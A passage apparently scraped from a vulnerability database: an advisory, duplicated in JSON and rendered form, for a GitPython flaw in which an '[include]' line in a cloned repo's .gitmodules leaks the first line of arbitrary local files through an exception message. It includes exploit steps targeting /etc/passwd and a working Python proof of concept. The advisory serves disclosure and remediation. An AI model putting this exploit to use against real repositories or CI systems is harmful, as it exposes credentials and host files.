`update`/`init`/checkout.\n- No authentication/role requirement inside GitPython itself.\n\n## Evidence\n- `git/config.py` \u2014 `GitConfigParser.__init__` defaults `merge_includes=True`.\n- `git/objects/submodule/base.py:273` \u2014 `SubmoduleConfigParser(fp_module, read_only=read_only)` passes neither `merge_includes` nor `repo=`; `git blame` shows this call unchanged since the class was introduced, and `git show 41ecc6a4` confirms that commit touched only `git/repo/base.py`\u0027s `Repo.config_writer()`, never this call site.\n- `git/config.py` `_included_paths()`/`read()` (~630-685) \u2014 absolute include paths bypass the join/normpath entirely (`osp.isabs()` short-circuit); no repository-boundary containment check exists anywhere in this path.\n- `git/config.py` `_read()` (~493-498) \u2014 raises `cp.MissingSectionHeaderError(fpname, lineno, line)` with the raw file line embedded, matching Python stdlib `configparser`\u0027s own `__str__` behavior.\n- `Submodule.iter_items()` catches only `(IOError, BadName)` \u2014 `configparser.Error` (the base of `MissingSectionHeaderError`) is not swallowed.\n- PoC (`gitpython-003-poc.py`, embedded below) reproduces this end-to-end against this exact checkout via the public API only (`Repo.clone_from` + `list(repo.submodules)`, default arguments, no monkeypatching), against both a throwaway secret file and `/etc/passwd`.\n\n## False-positive check (adversarial re-read)\n- **Is this the same bug as `GHSA-hmq2-w58f-27jc`?** No \u2014 that advisory is about the `.gitmodules` submodule *name* driving `_module_abspath`/`os.makedirs()` (creating a git repository/module directory outside the working tree, a write/RCE-adjacent primitive via a completely different function). This finding is about the `[include]` directive in the *same file* reaching a config-parser read primitive \u2014 a different mechanism, different function, different impact class (content disclosure, not directory creation).\n- **Is this the same bug as `GHSA-cwvm-v4w8-q58c` (blind LFI)?** No \u2014 that advisory is explicitly documented by its own reporter as content-free/blind (existence-only), and lives in `git/refs/symbolic.py`\u0027s ref-name resolution feeding `Repo.commit`/`tree`/`index.diff` \u2014 an entirely different module and code path. This finding discloses actual file content via `git/config.py`\u0027s include-directive resolution.\n- **Is the impact overstated given only one line leaks?** No \u2014 this is an accurate scoping caveat already reflected in the severity/impact discussion, not a reachability blocker: attacker has full control over which path is targeted (absolute paths work unconditionally), requires zero interaction beyond the single most common submodule operation, and the PoC demonstrates a real, working end-to-end disclosure through the standard `clone_from` + `list(repo.submodules)` workflow.\n- **Could the exception simply be silently swallowed by GitPython before reaching the caller?** No \u2014 confirmed by reading `Submodule.iter_items()`\u0027s exception handling, which catches only `IOError`/`BadName`; `configparser.MissingSectionHeaderError` propagates uncaught.\n- Verdict: no concrete blocker found. **CONFIRMED** \u2014 reproduced independently against both a throwaway secret file and `/etc/passwd`.\n\n## Remediation\nPass `merge_includes=False` when constructing `SubmoduleConfigParser` in `Submodule._config_parser()` (`git/objects/submodule/base.py`), mirroring the existing fix in `Repo.config_writer()` (commit `41ecc6a4`) \u2014 `.gitmodules` content is always attacker-controlled and should never be allowed to pull in `include`/`includeIf` directives. As defense in depth, `GitConfigParser.read()`\u0027s include-path resolution should enforce that resolved include paths stay within the repository\u0027s own directory tree, and parsing-error messages (`MissingSectionHeaderError`/`ParsingError`) should avoid embedding raw file content when parsing a file the caller did not explicitly ask to open.\n\n## Confidence\nHigh. Root cause confirmed by direct code reading across both `git/config.py` and `git/objects/submodule/base.py`, cross-checked against the fix commit that hardened the sibling code path but not this one; exploit chain reproduced independently, twice, against the current HEAD (a throwaway secret file and `/etc/passwd`).\n\n\n## Proof-of-Concept source (`gitpython-003-poc.py`)\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nGITPYTHON-003 PoC: `.gitmodules` -- fully attacker-controlled content shipped\ninside a cloned repository -- can contain `[include] path = \u003cany local path\u003e`.\n`Submodule._config_parser()` builds the parser used for `repo.submodules` (and\nother submodule reads) via `SubmoduleConfigParser(fp_module, read_only=...)`\nwithout passing `merge_includes=False`, so the class default `merge_includes=True`\nis inherited. GitConfigParser then opens the target file; if it isn\u0027t valid\ngit-config syntax (true of virtually any non-gitconfig file), Python\u0027s\n`configparser.MissingSectionHeaderError` embeds the file\u0027s first line verbatim\nin its exception message, which propagates out of the ordinary, read-only\n`repo.submodules` call -- a non-blind local file content disclosure primitive.\n\nRun:\n PYTHONPATH=\"\u003crepo\u003e:\u003crepo\u003e/gitdb:\u003crepo\u003e/smmap\" python3 gitpython-003-poc.py \u003cworkdir\u003e \u003ctarget-file\u003e\n\nBenign: reads only the given \u003ctarget-file\u003e (defaults to a throwaway secret file\ncreated under \u003cworkdir\u003e if omitted) and never writes/exfiltrates it anywhere\nexcept printing it locally to prove the primitive. No destructive action.\n\"\"\"\nimport os\nimport subprocess\nimport sys\n\n\ndef main():\n workdir = sys.argv[1] if len(sys.argv) \u003e 1 else \"/tmp/gitpython-003-poc\"\n target_file = sys.argv[2] if len(sys.argv) \u003e 2 else os.path.join(workdir, \"secret.txt\")\n\n attacker_repo = os.path.join(workdir, \"attacker-repo\")\n dest = os.path.join(workdir, \"dest\")\n for p in (attacker_repo, dest):\n os.makedirs(p, exist_ok=True)\n\n if not os.path.exists(target_file):\n os.makedirs(os.path.dirname(target_file), exist_ok=True)\n with open(target_file, \"w\") as f:\n f.write(\"TOP-SECRET-DB-PASSWORD=hunter2-actual-secret-value\\n\")\n\n subprocess.run([\"git\", \"init\", \"-q\", \"-b\", \"main\", attacker_repo], check=True)\n subprocess.run([\"git\", \"-C\", attacker_repo, \"config\", \"user.email\", \"a@example.com\"], check=True)\n subprocess.run([\"git\", \"-C\", attacker_repo, \"config\", \"user.name\", \"Attacker\"], check=True)\n\n with open(os.path.join(attacker_repo, \"file.txt\"), \"w\") as f:\n f.write(\"hello\\n\")\n\n with open(os.path.join(attacker_repo, \".gitmodules\"), \"w\") as f:\n f.write(\n \u0027[submodule \"totally-normal-dep\"]\\n\u0027\n \"\\tpath = vendor/dep\\n\"\n \"\\turl = https://example.com/dep.git\\n\"\n \"[include]\\n\"\n \"\\tpath = %s\\n\" % target_file\n )\n\n subprocess.run([\"git\", \"-C\", attacker_repo, \"add\", \"file.txt\", \".gitmodules\"], check=True)\n subprocess.run([\"git\", \"-C\", attacker_repo, \"commit\", \"-q\", \"-m\", \"init\"], check=True)\n\n import git # gitpython under test\n import configparser\n\n repo = git.Repo.clone_from(attacker_repo, dest)\n\n try:\n subs = list(repo.submodules)\n print(\"NOT VULNERABLE: no exception raised, submodules =\", subs)\n sys.exit(1)\n except configparser.MissingSectionHeaderError as e:\n msg = str(e)\n print(\"VULNERABLE: MissingSectionHeaderError leaked file content via repo.submodules:\")\n print(msg)\n with open(target_file) as f:\n first_line = f.readline().rstrip(\"\\n\")\n if first_line in msg:\n print(\"Confirmed: target file\u0027s first line is present verbatim in the exception message.\")\n sys.exit(0)\n else:\n print(\"NOT VULNERABLE: exception message did not contain the expected content\")\n sys.exit(1)\n\n\nif __name__ == \"__main__\":\n main()\n\n```",
"id": "BREW-snowflake-cli-CVE-2026-78675",
"modified": "2026-09-17T18:46:00Z",
"published": "2026-09-04T10:05:02Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-7833-fr7j-v32q"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-78675"
},
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/pull/2211"
},
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/commit/ef7568e3b317ce617eacda39b8b54dcdff8c3b5c"
},
{
"type": "PACKAGE",
"url": "https://github.com/gitpython-developers/GitPython"
},
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.59"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/gitpython/PYSEC-2026-3785.yaml"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/gitpython-before-local-file-content-disclosure-via-gitmodules"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "GitPython: Arbitrary local file content disclosure via [include] directive in untrusted .gitmodules (SubmoduleConfigParser never disables merge_includes)",
"upstream": [
"PYSEC-2026-3785",
"CVE-2026-78675",
"GHSA-7833-fr7j-v32q"
]
}
BREW-STANDARDEBOOKS-CVE-… (PYSEC-2026-3785)
Vulnerability from osv_homebrew – Published: 2026-09-04 10:10 – Updated: 2026-09-17 17:38 – Source website[HIGH] Arbitrary local file content disclosure via [include] directive in untrusted .gitmodules (SubmoduleConfigParser never disables merge_includes)
- CWE: CWE-200 (Exposure of Sensitive Information) / CWE-73 (External Control of File Name or Path)
- Affected component:
git/objects/submodule/base.py,Submodule._config_parser()(~line 273) constructingSubmoduleConfigParser(fp_module, read_only=read_only);git/config.py,GitConfigParser.__init__(merge_includesdefault),GitConfigParser.read()/_included_paths()(include-path resolution, ~lines 630-685),GitConfigParser._read()(~line 493-498,MissingSectionHeaderError) - Affected version: GitPython at HEAD (
9729ed3b948f2bde09f1f188c5311e172212b67e, 2026-08-05, VERSION3.1.58)
Reachability
GitConfigParser.__init__ defaults merge_includes=True: any config file it parses has its [include] (and, when a repo= is supplied, [includeIf ...]) directives followed and merged in. The maintainers already recognized this as dangerous for one specific case and fixed it in commit 41ecc6a4 ("Disable merge_includes in config writers"), which passes merge_includes=False when Repo.config_writer() builds its parser (git/repo/base.py).
That fix never touched Submodule._config_parser(). This method builds the parser used for every read of a repo's submodule configuration — repo.submodules, Submodule.iter_items(), Submodule.config() — via SubmoduleConfigParser(fp_module, read_only=read_only), passing neither merge_includes=False nor repo=. The True class default is therefore inherited unchanged, and fp_module here is .gitmodules — the single most attacker-controlled config file in the entire codebase, since it ships verbatim as tracked content inside any cloned repository.
GitConfigParser.read()'s include-path resolution (~line 662-680) performs no containment check: osp.isabs(include_path) short-circuits the path join entirely for an absolute path, and a relative path is joined with osp.join(osp.dirname(file_path), include_path) / osp.normpath()'d with no check that the result stays under the repository. ~ is expanded via osp.expanduser. The only gate before opening is os.access(include_path, os.R_OK) — a readability check, not a path restriction.
Once opened, GitConfigParser._read() parses the target file as git-config INI. If the first non-blank/non-comment line is not a [section] header — true of virtually any non-gitconfig file (source code, /etc/passwd, .env files, credential files, logs, JSON/YAML) — it raises configparser.MissingSectionHeaderError(fpname, lineno, line). Python's stdlib formats this exception's str() as "File contains no section headers.\nfile: %r, line: %d\n%r" % (fpname, lineno, line) — it embeds the verbatim content of that file's first line in the exception message. Submodule.iter_items() catches only (IOError, BadName), not configparser.Error, so this exception propagates straight out of the ordinary, read-only repo.submodules call.
Root cause
Parity gap between two config-parser construction sites for the exact same footgun: Repo.config_writer() was hardened against merge_includes in 2023 (41ecc6a4); Submodule._config_parser() — which parses .gitmodules, content that is always attacker-controlled the moment a repository is cloned from an untrusted source — was never given the same treatment. (The submodule write-mode config parser at git/objects/submodule/base.py for .git/modules/<name>/config — a different, locally-generated file — has correctly passed merge_includes=False since 2022, underscoring that the omission for .gitmodules reads looks like an oversight rather than a considered exception.)
Exploit path
- Attacker crafts a repository whose
.gitmodulescontains a legitimate-looking[submodule ...]section plus:[include] path = /etc/passwd(an absolute path bypasses any traversal reasoning entirely; a relative../../../../etc/passwd-style path works too). - Victim performs the extremely common, entirely read-only operation of enumerating a cloned repo's submodules:
list(repo.submodules)(or anyfor sm in repo.submodules) — noupdate(),init(), or checkout of any kind required. SubmoduleConfigParser(inheritingmerge_includes=True) follows the[include]directive, opens/etc/passwd, andGitConfigParser._read()raisesMissingSectionHeaderErrorwhose message embeds/etc/passwd's first line verbatim.- This exception surfaces wherever the host application observes exceptions from GitPython — CI logs, error pages, exception trackers, or any dependency-scanner/code-review-bot/hosting-platform tool built on
repo.submodules— disclosing the targeted file's first line to the attacker (directly, or indirectly via any channel that echoes the error).
Impact
Non-blind local file content disclosure (first line) of any file readable by the victim process, triggered purely by attacker-controlled repository content and one routine, read-only GitPython call. Bounded to one line per triggering file (parsing aborts at the first MissingSectionHeaderError), but that line very often is the secret — .env files (DATABASE_URL=..., API_KEY=...), single-line credential/token files, /etc/passwd's root entry for host fingerprinting. The primitive additionally serves as a generic error-based file-existence oracle for arbitrary host paths. This is materially stronger than the already-fixed, explicitly blind GHSA-cwvm-v4w8-q58c ("Blind local file inclusion", CVSS 4.0, git/refs/symbolic.py ref-name resolution) — that advisory's own writeup states it cannot disclose content; this one does, verbatim, via a different module (git/config.py's include resolution).
Preconditions
- Victim clones (or otherwise opens with GitPython) a repository whose
.gitmodulesis attacker-controlled — the default trust model for any tool that processes third-party repositories (dependency scanners, CI, code hosting/review bots, "audit this repo" utilities — exactly the class of application GitPython itself is built for). - Victim performs any operation that touches
repo.submodules— one of the most ordinary GitPython operations, requiring no submoduleupdate/init/checkout. - No authentication/role requirement inside GitPython itself.
Evidence
git/config.py—GitConfigParser.__init__defaultsmerge_includes=True.git/objects/submodule/base.py:273—SubmoduleConfigParser(fp_module, read_only=read_only)passes neithermerge_includesnorrepo=;git blameshows this call unchanged since the class was introduced, andgit show 41ecc6a4confirms that commit touched onlygit/repo/base.py'sRepo.config_writer(), never this call site.git/config.py_included_paths()/read()(~630-685) — absolute include paths bypass the join/normpath entirely (osp.isabs()short-circuit); no repository-boundary containment check exists anywhere in this path.git/config.py_read()(~493-498) — raisescp.MissingSectionHeaderError(fpname, lineno, line)with the raw file line embedded, matching Python stdlibconfigparser's own__str__behavior.Submodule.iter_items()catches only(IOError, BadName)—configparser.Error(the base ofMissingSectionHeaderError) is not swallowed.- PoC (
gitpython-003-poc.py, embedded below) reproduces this end-to-end against this exact checkout via the public API only (Repo.clone_from+list(repo.submodules), default arguments, no monkeypatching), against both a throwaway secret file and/etc/passwd.
False-positive check (adversarial re-read)
- Is this the same bug as
GHSA-hmq2-w58f-27jc? No — that advisory is about the.gitmodulessubmodule name driving_module_abspath/os.makedirs()(creating a git repository/module directory outside the working tree, a write/RCE-adjacent primitive via a completely different function). This finding is about the[include]directive in the same file reaching a config-parser read primitive — a different mechanism, different function, different impact class (content disclosure, not directory creation). - Is this the same bug as
GHSA-cwvm-v4w8-q58c(blind LFI)? No — that advisory is explicitly documented by its own reporter as content-free/blind (existence-only), and lives ingit/refs/symbolic.py's ref-name resolution feedingRepo.commit/tree/index.diff— an entirely different module and code path. This finding discloses actual file content viagit/config.py's include-directive resolution. - Is the impact overstated given only one line leaks? No — this is an accurate scoping caveat already reflected in the severity/impact discussion, not a reachability blocker: attacker has full control over which path is targeted (absolute paths work unconditionally), requires zero interaction beyond the single most common submodule operation, and the PoC demonstrates a real, working end-to-end disclosure through the standard
clone_from+list(repo.submodules)workflow. - Could the exception simply be silently swallowed by GitPython before reaching the caller? No — confirmed by reading
Submodule.iter_items()'s exception handling, which catches onlyIOError/BadName;configparser.MissingSectionHeaderErrorpropagates uncaught. - Verdict: no concrete blocker found. CONFIRMED — reproduced independently against both a throwaway secret file and
/etc/passwd.
Remediation
Pass merge_includes=False when constructing SubmoduleConfigParser in Submodule._config_parser() (git/objects/submodule/base.py), mirroring the existing fix in Repo.config_writer() (commit 41ecc6a4) — .gitmodules content is always attacker-controlled and should never be allowed to pull in include/includeIf directives. As defense in depth, GitConfigParser.read()'s include-path resolution should enforce that resolved include paths stay within the repository's own directory tree, and parsing-error messages (MissingSectionHeaderError/ParsingError) should avoid embedding raw file content when parsing a file the caller did not explicitly ask to open.
Confidence
High. Root cause confirmed by direct code reading across both git/config.py and git/objects/submodule/base.py, cross-checked against the fix commit that hardened the sibling code path but not this one; exploit chain reproduced independently, twice, against the current HEAD (a throwaway secret file and /etc/passwd).
Proof-of-Concept source (gitpython-003-poc.py)
#!/usr/bin/env python3
"""
GITPYTHON-003 PoC: `.gitmodules` -- fully attacker-controlled content shipped
inside a cloned repository -- can contain `[include] path = <any local path>`.
`Submodule._config_parser()` builds the parser used for `repo.submodules` (and
other submodule reads) via `SubmoduleConfigParser(fp_module, read_only=...)`
without passing `merge_includes=False`, so the class default `merge_includes=True`
is inherited. GitConfigParser then opens the target file; if it isn't valid
git-config syntax (true of virtually any non-gitconfig file), Python's
`configparser.MissingSectionHeaderError` embeds the file's first line verbatim
in its exception message, which propagates out of the ordinary, read-only
`repo.submodules` call -- a non-blind local file content disclosure primitive.
Run:
PYTHONPATH="<repo>:<repo>/gitdb:<repo>/smmap" python3 gitpython-003-poc.py <workdir> <target-file>
Benign: reads only the given <target-file> (defaults to a throwaway secret file
created under <workdir> if omitted) and never writes/exfiltrates it anywhere
except printing it locally to prove the primitive. No destructive action.
"""
import os
import subprocess
import sys
def main():
workdir = sys.argv[1] if len(sys.argv) > 1 else "/tmp/gitpython-003-poc"
target_file = sys.argv[2] if len(sys.argv) > 2 else os.path.join(workdir, "secret.txt")
attacker_repo = os.path.join(workdir, "attacker-repo")
dest = os.path.join(workdir, "dest")
for p in (attacker_repo, dest):
os.makedirs(p, exist_ok=True)
if not os.path.exists(target_file):
os.makedirs(os.path.dirname(target_file), exist_ok=True)
with open(target_file, "w") as f:
f.write("TOP-SECRET-DB-PASSWORD=hunter2-actual-secret-value\n")
subprocess.run(["git", "init", "-q", "-b", "main", attacker_repo], check=True)
subprocess.run(["git", "-C", attacker_repo, "config", "user.email", "a@example.com"], check=True)
subprocess.run(["git", "-C", attacker_repo, "config", "user.name", "Attacker"], check=True)
with open(os.path.join(attacker_repo, "file.txt"), "w") as f:
f.write("hello\n")
with open(os.path.join(attacker_repo, ".gitmodules"), "w") as f:
f.write(
'[submodule "totally-normal-dep"]\n'
"\tpath = vendor/dep\n"
"\turl = https://example.com/dep.git\n"
"[include]\n"
"\tpath = %s\n" % target_file
)
subprocess.run(["git", "-C", attacker_repo, "add", "file.txt", ".gitmodules"], check=True)
subprocess.run(["git", "-C", attacker_repo, "commit", "-q", "-m", "init"], check=True)
import git # gitpython under test
import configparser
repo = git.Repo.clone_from(attacker_repo, dest)
try:
subs = list(repo.submodules)
print("NOT VULNERABLE: no exception raised, submodules =", subs)
sys.exit(1)
except configparser.MissingSectionHeaderError as e:
msg = str(e)
print("VULNERABLE: MissingSectionHeaderError leaked file content via repo.submodules:")
print(msg)
with open(target_file) as f:
first_line = f.readline().rstrip("\n")
if first_line in msg:
print("Confirmed: target file's first line is present verbatim in the exception message.")
sys.exit(0)
else:
print("NOT VULNERABLE: exception message did not contain the expected content")
sys.exit(1)
if __name__ == "__main__":
main()
| URL | Type | |||||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||||||||||||||
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "gitpython",
"resource_purl": "pkg:pypi/gitpython@3.1.59",
"upstream_fixed_in": "3.1.59"
},
"package": {
"ecosystem": "Homebrew",
"name": "standardebooks",
"purl": "pkg:brew/standardebooks"
},
"ranges": [
{
"events": [
{
"introduced": "2.9.2"
},
{
"fixed": "4.1.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/gitpython@3.1.59",
"name": "gitpython",
"resource": "gitpython",
"strategy": "registry",
"subject_version": "3.1.59"
}
]
},
"details": "# [HIGH] Arbitrary local file content disclosure via `[include]` directive in untrusted `.gitmodules` (`SubmoduleConfigParser` never disables `merge_includes`)\n\n- **CWE:** CWE-200 (Exposure of Sensitive Information) / CWE-73 (External Control of File Name or Path)\n- **Affected component:** `git/objects/submodule/base.py`, `Submodule._config_parser()` (~line 273) constructing `SubmoduleConfigParser(fp_module, read_only=read_only)`; `git/config.py`, `GitConfigParser.__init__` (`merge_includes` default), `GitConfigParser.read()`/`_included_paths()` (include-path resolution, ~lines 630-685), `GitConfigParser._read()` (~line 493-498, `MissingSectionHeaderError`)\n- **Affected version:** GitPython at HEAD (`9729ed3b948f2bde09f1f188c5311e172212b67e`, 2026-08-05, VERSION `3.1.58`)\n\n## Reachability\n`GitConfigParser.__init__` defaults `merge_includes=True`: any config file it parses has its `[include]` (and, when a `repo=` is supplied, `[includeIf ...]`) directives followed and merged in. The maintainers already recognized this as dangerous for one specific case and fixed it in commit `41ecc6a4` (\"Disable merge_includes in config writers\"), which passes `merge_includes=False` when `Repo.config_writer()` builds its parser (`git/repo/base.py`).\n\nThat fix never touched `Submodule._config_parser()`. This method builds the parser used for **every** read of a repo\u0027s submodule configuration \u2014 `repo.submodules`, `Submodule.iter_items()`, `Submodule.config()` \u2014 via `SubmoduleConfigParser(fp_module, read_only=read_only)`, passing neither `merge_includes=False` nor `repo=`. The `True` class default is therefore inherited unchanged, and `fp_module` here is `.gitmodules` \u2014 **the single most attacker-controlled config file in the entire codebase**, since it ships verbatim as tracked content inside any cloned repository.\n\n`GitConfigParser.read()`\u0027s include-path resolution (~line 662-680) performs no containment check: `osp.isabs(include_path)` short-circuits the path join entirely for an absolute path, and a relative path is joined with `osp.join(osp.dirname(file_path), include_path)` / `osp.normpath()`\u0027d with no check that the result stays under the repository. `~` is expanded via `osp.expanduser`. The only gate before opening is `os.access(include_path, os.R_OK)` \u2014 a readability check, not a path restriction.\n\nOnce opened, `GitConfigParser._read()` parses the target file as git-config INI. If the first non-blank/non-comment line is not a `[section]` header \u2014 true of virtually any non-gitconfig file (source code, `/etc/passwd`, `.env` files, credential files, logs, JSON/YAML) \u2014 it raises `configparser.MissingSectionHeaderError(fpname, lineno, line)`. Python\u0027s stdlib formats this exception\u0027s `str()` as `\"File contains no section headers.\\nfile: %r, line: %d\\n%r\" % (fpname, lineno, line)` \u2014 it embeds the **verbatim content** of that file\u0027s first line in the exception message. `Submodule.iter_items()` catches only `(IOError, BadName)`, not `configparser.Error`, so this exception propagates straight out of the ordinary, read-only `repo.submodules` call.\n\n## Root cause\nParity gap between two config-parser construction sites for the exact same footgun: `Repo.config_writer()` was hardened against `merge_includes` in 2023 (`41ecc6a4`); `Submodule._config_parser()` \u2014 which parses `.gitmodules`, content that is *always* attacker-controlled the moment a repository is cloned from an untrusted source \u2014 was never given the same treatment. (The submodule *write*-mode config parser at `git/objects/submodule/base.py` for `.git/modules/\u003cname\u003e/config` \u2014 a different, locally-generated file \u2014 has correctly passed `merge_includes=False` since 2022, underscoring that the omission for `.gitmodules` reads looks like an oversight rather than a considered exception.)\n\n## Exploit path\n1. Attacker crafts a repository whose `.gitmodules` contains a legitimate-looking `[submodule ...]` section plus:\n ```\n [include]\n \tpath = /etc/passwd\n ```\n (an absolute path bypasses any traversal reasoning entirely; a relative `../../../../etc/passwd`-style path works too).\n2. Victim performs the extremely common, entirely read-only operation of enumerating a cloned repo\u0027s submodules: `list(repo.submodules)` (or any `for sm in repo.submodules`) \u2014 no `update()`, `init()`, or checkout of any kind required.\n3. `SubmoduleConfigParser` (inheriting `merge_includes=True`) follows the `[include]` directive, opens `/etc/passwd`, and `GitConfigParser._read()` raises `MissingSectionHeaderError` whose message embeds `/etc/passwd`\u0027s first line verbatim.\n4. This exception surfaces wherever the host application observes exceptions from GitPython \u2014 CI logs, error pages, exception trackers, or any dependency-scanner/code-review-bot/hosting-platform tool built on `repo.submodules` \u2014 disclosing the targeted file\u0027s first line to the attacker (directly, or indirectly via any channel that echoes the error).\n\n## Impact\nNon-blind local file content disclosure (first line) of any file readable by the victim process, triggered purely by attacker-controlled repository content and one routine, read-only GitPython call. Bounded to one line per triggering file (parsing aborts at the first `MissingSectionHeaderError`), but that line very often *is* the secret \u2014 `.env` files (`DATABASE_URL=...`, `API_KEY=...`), single-line credential/token files, `/etc/passwd`\u0027s root entry for host fingerprinting. The primitive additionally serves as a generic error-based file-existence oracle for arbitrary host paths. This is materially stronger than the already-fixed, explicitly **blind** `GHSA-cwvm-v4w8-q58c` (\"Blind local file inclusion\", CVSS 4.0, `git/refs/symbolic.py` ref-name resolution) \u2014 that advisory\u0027s own writeup states it cannot disclose content; this one does, verbatim, via a different module (`git/config.py`\u0027s include resolution).\n\n## Preconditions\n- Victim clones (or otherwise opens with GitPython) a repository whose `.gitmodules` is attacker-controlled \u2014 the default trust model for any tool that processes third-party repositories (dependency scanners, CI, code hosting/review bots, \"audit this repo\" utilities \u2014 exactly the class of application GitPython itself is built for).\n- Victim performs any operation that touches `repo.submodules` \u2014 one of the most ordinary GitPython operations, requiring no submodule `update`/`init`/checkout.\n- No authentication/role requirement inside GitPython itself.\n\n## Evidence\n- `git/config.py` \u2014 `GitConfigParser.__init__` defaults `merge_includes=True`.\n- `git/objects/submodule/base.py:273` \u2014 `SubmoduleConfigParser(fp_module, read_only=read_only)` passes neither `merge_includes` nor `repo=`; `git blame` shows this call unchanged since the class was introduced, and `git show 41ecc6a4` confirms that commit touched only `git/repo/base.py`\u0027s `Repo.config_writer()`, never this call site.\n- `git/config.py` `_included_paths()`/`read()` (~630-685) \u2014 absolute include paths bypass the join/normpath entirely (`osp.isabs()` short-circuit); no repository-boundary containment check exists anywhere in this path.\n- `git/config.py` `_read()` (~493-498) \u2014 raises `cp.MissingSectionHeaderError(fpname, lineno, line)` with the raw file line embedded, matching Python stdlib `configparser`\u0027s own `__str__` behavior.\n- `Submodule.iter_items()` catches only `(IOError, BadName)` \u2014 `configparser.Error` (the base of `MissingSectionHeaderError`) is not swallowed.\n- PoC (`gitpython-003-poc.py`, embedded below) reproduces this end-to-end against this exact checkout via the public API only (`Repo.clone_from` + `list(repo.submodules)`, default arguments, no monkeypatching), against both a throwaway secret file and `/etc/passwd`.\n\n## False-positive check (adversarial re-read)\n- **Is this the same bug as `GHSA-hmq2-w58f-27jc`?** No \u2014 that advisory is about the `.gitmodules` submodule *name* driving `_module_abspath`/`os.makedirs()` (creating a git repository/module directory outside the working tree, a write/RCE-adjacent primitive via a completely different function). This finding is about the `[include]` directive in the *same file* reaching a config-parser read primitive \u2014 a different mechanism, different function, different impact class (content disclosure, not directory creation).\n- **Is this the same bug as `GHSA-cwvm-v4w8-q58c` (blind LFI)?** No \u2014 that advisory is explicitly documented by its own reporter as content-free/blind (existence-only), and lives in `git/refs/symbolic.py`\u0027s ref-name resolution feeding `Repo.commit`/`tree`/`index.diff` \u2014 an entirely different module and code path. This finding discloses actual file content via `git/config.py`\u0027s include-directive resolution.\n- **Is the impact overstated given only one line leaks?** No \u2014 this is an accurate scoping caveat already reflected in the severity/impact discussion, not a reachability blocker: attacker has full control over which path is targeted (absolute paths work unconditionally), requires zero interaction beyond the single most common submodule operation, and the PoC demonstrates a real, working end-to-end disclosure through the standard `clone_from` + `list(repo.submodules)` workflow.\n- **Could the exception simply be silently swallowed by GitPython before reaching the caller?** No \u2014 confirmed by reading `Submodule.iter_items()`\u0027s exception handling, which catches only `IOError`/`BadName`; `configparser.MissingSectionHeaderError` propagates uncaught.\n- Verdict: no concrete blocker found. **CONFIRMED** \u2014 reproduced independently against both a throwaway secret file and `/etc/passwd`.\n\n## Remediation\nPass `merge_includes=False` when constructing `SubmoduleConfigParser` in `Submodule._config_parser()` (`git/objects/submodule/base.py`), mirroring the existing fix in `Repo.config_writer()` (commit `41ecc6a4`) \u2014 `.gitmodules` content is always attacker-controlled and should never be allowed to pull in `include`/`includeIf` directives. As defense in depth, `GitConfigParser.read()`\u0027s include-path resolution should enforce that resolved include paths stay within the repository\u0027s own directory tree, and parsing-error messages (`MissingSectionHeaderError`/`ParsingError`) should avoid embedding raw file content when parsing a file the caller did not explicitly ask to open.\n\n## Confidence\nHigh. Root cause confirmed by direct code reading across both `git/config.py` and `git/objects/submodule/base.py`, cross-checked against the fix commit that hardened the sibling code path but not this one; exploit chain reproduced independently, twice, against the current HEAD (a throwaway secret file and `/etc/passwd`).\n\n\n## Proof-of-Concept source (`gitpython-003-poc.py`)\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nGITPYTHON-003 PoC: `.gitmodules` -- fully attacker-controlled content shipped\ninside a cloned repository -- can contain `[include] path = \u003cany local path\u003e`.\n`Submodule._config_parser()` builds the parser used for `repo.submodules` (and\nother submodule reads) via `SubmoduleConfigParser(fp_module, read_only=...)`\nwithout passing `merge_includes=False`, so the class default `merge_includes=True`\nis inherited. GitConfigParser then opens the target file; if it isn\u0027t valid\ngit-config syntax (true of virtually any non-gitconfig file), Python\u0027s\n`configparser.MissingSectionHeaderError` embeds the file\u0027s first line verbatim\nin its exception message, which propagates out of the ordinary, read-only\n`repo.submodules` call -- a non-blind local file content disclosure primitive.\n\nRun:\n PYTHONPATH=\"\u003crepo\u003e:\u003crepo\u003e/gitdb:\u003crepo\u003e/smmap\" python3 gitpython-003-poc.py \u003cworkdir\u003e \u003ctarget-file\u003e\n\nBenign: reads only the given \u003ctarget-file\u003e (defaults to a throwaway secret file\ncreated under \u003cworkdir\u003e if omitted) and never writes/exfiltrates it anywhere\nexcept printing it locally to prove the primitive. No destructive action.\n\"\"\"\nimport os\nimport subprocess\nimport sys\n\n\ndef main():\n workdir = sys.argv[1] if len(sys.argv) \u003e 1 else \"/tmp/gitpython-003-poc\"\n target_file = sys.argv[2] if len(sys.argv) \u003e 2 else os.path.join(workdir, \"secret.txt\")\n\n attacker_repo = os.path.join(workdir, \"attacker-repo\")\n dest = os.path.join(workdir, \"dest\")\n for p in (attacker_repo, dest):\n os.makedirs(p, exist_ok=True)\n\n if not os.path.exists(target_file):\n os.makedirs(os.path.dirname(target_file), exist_ok=True)\n with open(target_file, \"w\") as f:\n f.write(\"TOP-SECRET-DB-PASSWORD=hunter2-actual-secret-value\\n\")\n\n subprocess.run([\"git\", \"init\", \"-q\", \"-b\", \"main\", attacker_repo], check=True)\n subprocess.run([\"git\", \"-C\", attacker_repo, \"config\", \"user.email\", 